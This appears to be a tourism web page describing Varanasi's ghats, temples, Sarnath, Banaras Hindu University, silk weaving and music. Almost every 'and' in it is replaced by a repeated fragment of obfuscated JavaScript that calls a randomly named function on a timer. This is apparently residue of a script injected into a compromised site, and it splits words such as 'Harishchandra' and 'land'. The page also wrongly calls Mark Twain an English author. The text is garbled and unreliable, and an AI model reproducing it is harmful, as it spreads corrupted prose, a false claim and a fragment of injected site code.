About Varanasi

Places To Visit in Varanasi

“Benares is older than history, older than tradition, older even than legend andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and looks twice as old as all of them put together", said Mark Twain, the famous English author.

Gear up to witness the oldest living city of the world- Varanasi, believed to be originated at the beginning of time itself. Brimming with people, their relentless chaos, colorful banter, persistent traditions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and steep beliefs, Varanasi is a melting pot of culture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and civilization.

Also known as “Banaras” or “Kashi” – the City of Life, it boasts of everything life offers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the after-life too (belief that death at Varanasi brings salvation)! Situated on the banks of river Ganga, Varanasi offers a soulful self-discovery where people gain oneness with their body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and soul; experience mysticism andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seek moksha. The hub of Hinduism, it is a city of religion, ancient myths, glorified legends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and traditional ethos, which is believed to be blessed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and graced by Lord Shiva andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Parvati. A dip in the holy waters of Ganga not just refreshes the body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and soul; it cleanses away a lifetime’s sins.

Varanasi attracts millions of tourists from across the world that come here to seek discovery, bliss, knowledge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and also solace for the departed souls of their loved ones. Ghats bathed in the first rays of sun, chanting of mantras andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hymns, incensed air, rituals of life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and death are common sights that Varanasi offers. Dashmeshwar ghat, Manikarnika Ghat, Harishchandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andra ghat, Panchganga ghat are associated with legends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and religious philosophy. The Kashi Vishwanath Temple, Sankat Mochan Hanuman Temple andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Durga Temple are some of the famous andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and oldest temples in the area.

A major tourist attraction is the Ramnagar Fort situated in the heart of the Old City. The Jantar Mantar observatory built in 18th century is also worth a visit. Varanasi is the landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of knowledge where Ramcharitmanas was written by Tulsidas, Gautam Buddha gave his first sermon at Sarnath andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the present-day Banaras Hindu University standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands, which is home to hundreds of students across various nationalities. It is the largest residential university of India.

Renowned for its soul-enriching andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and blissful experience at Ghats andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and temples, Varanasi is equally famous for its Silk andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Brocade Saris andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Classical music. The most leading andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and prevailing occupation is silk weaving. Intricate gold andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and silver thread work on brocade andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finely woven silk saris are coveted by people across the world. The Hindustani Classical music’s Banaras Gharana is named after the city where it developed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the musicians prospered.

You can stroll along the Ghats, get lost in the gales andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and be back to the same place, witness the Ganga Aadrti,, or satiate your soul with the sounds of mantras, blend with the people of the old city or simply devour the city from the peaceful cantonment area. It sure leaves you with a soul stirring experience.

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